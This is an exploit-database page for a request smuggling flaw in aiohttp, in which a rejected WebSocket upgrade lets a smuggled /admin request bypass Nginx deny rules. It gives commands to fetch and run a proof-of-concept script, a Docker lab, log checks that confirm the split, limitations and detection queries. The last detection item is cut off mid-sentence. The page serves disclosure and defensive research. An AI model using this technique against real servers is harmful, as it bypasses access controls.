## https://sploitus.com/exploit?id=0FC311AA-83B9-57D6-9823-AAA621291851
# CVE-2026-69243 β aiohttp Request Smuggling (CWE-444)
Request smuggling via rejected WebSocket upgrade in aiohttp
```
Or copy-paste the Python version (zero dependencies, stdlib only):
```bash
curl -O https://raw.githubusercontent.com/user/cve-2026-69243/main/poc.py
python3 poc.py
```
Both produce **byte-identical** payloads. If the lab is running:
```bash
python3 poc.py nginx-upgrade 80 backend-vuln
```
Expected output: 1 HTTP response (`WebSocket upgrade rejected`). Then verify:
```bash
# Backend processed 2 requests (/ws + smuggled /admin):
docker logs backend-vuln | grep -c '"path".*"/admin"'
# Nginx only logged 1 request (the /ws):
docker exec nginx-upgrade cat /logs/nginx-upgrade.access.log | grep -c '/admin'
```
The backend count > 0 and Nginx count = 0 means CWE-444 split
confirmed. This PoC sends a single TCP segment β the body is the
smuggled request; Nginx treats it as body, aiohttp treats it as a
second request.
## What this proves
- **Parser confusion**: aiohttp 3.14.1 `_http_parser.pyx` returns 2 (skip body)
on upgrade detection before the body is consumed (line ~863). Body bytes
remain in `_message_tail` and are fed back to the parser in `web_protocol.py`
`finish_response` (line ~771).
- **CWE-444 split**: The frontend sees 1 request with body; the backend sees
2 pipelined requests. Request-count mismatch in logs.
- **Access-control bypass**: When Nginx has `location /admin { deny all; }`,
the smuggled `/admin` still reaches the backend because Nginx routing
decisions are made on the outer request only.
- **No app-level fix**: `await request.read()` returns 0 bytes on upgrade
requests in 3.14.1 β the body is withheld below the handler layer.
## Full lab
```bash
git clone https://github.com/user/cve-2026-69243
cd cve-2026-69243/cve-2026-69243-lab
docker compose up -d
# Run the PoC:
docker compose run --rm --entrypoint /app/poc attacker nginx-upgrade 80 backend-vuln
```
Services:
| Container | Purpose |
|-----------|---------|
| `backend-vuln` | aiohttp 3.14.1 (vulnerable), READ_BODY=false |
| `backend-vuln-read` | aiohttp 3.14.1, READ_BODY=true (proves handler can't help) |
| `backend-patched` | aiohttp 3.14.2 (fixed) |
| `nginx-upgrade` | Forwards upgrade headers (`deny all` on /admin) |
| `nginx-default` | No upgrade forwarding (neutralizes the bug) |
| `nginx-strip` | `Connection ""` strip (neutralizes the bug) |
| `attacker` | Rust binaries: reproduce, fase2, poc |
Full Phase 1-3 findings in `findings/`.
## Limitations (honest)
- **Proxy must forward upgrade headers.** Nginx configs that send
`Connection: close` to the backend or strip `Connection`/`Upgrade`
headers are not vulnerable. Only the "WebSocket upgrade map" config
(common in production when WebSocket support is needed) exposes the split.
- **Smuggled response is absorbed by the proxy.** The attacker receives
only the outer `/ws` response through the proxy. Evidence of smuggling
is in the backend logs, not in the attacker response. This is a blind
smuggling primitive.
- **Chunked variant:** `Transfer-Encoding: chunked` framing works equally
(tested in lab; use `--chunked` flag). The parser skips the body
regardless of framing mode.
- **Requires an endpoint that rejects WebSocket upgrades.** The handler
must return a non-`WebSocketResponse`. Most apps that don't use
WebSockets on a route will reject by default (framework returns 404
or falls through to the next handler).
## Files
```
poc/ # Rust cargo project
βββ Cargo.toml
βββ src/main.rs # CLI binary
βββ src/lib.rs # Library + unit tests
βββ tests/parity.rs # Cross-language payload parity test
βββ fuzz/ # cargo-fuzz targets
poc.py # Python PoC (copy-paste from blog)
.github/workflows/
βββ ci.yml # Build, test, clippy, parity, integration, fuzz
βββ release.yml # Cross-compile + GitHub Release
cve-2026-69243-lab/ # Docker lab
βββ findings/ # Research notes (Phase 1-3)
```
## Detection
See `findings/fase3-deteccao.md` for deployable log queries:
1. Request-count mismatch: backend log count > frontend log count for same
remote IP + time window.
2. Backend request without frontend match: `/admin` (or any restricted path)
in backend log with no corresponding entry in frontend access log.
3. Upgrade rejection + immediate pipelined request: `/ws` with `Upgrade`
header followed by different path from same remote IP within header-size` on WebSocket endpoints: body present on
an upgrade request.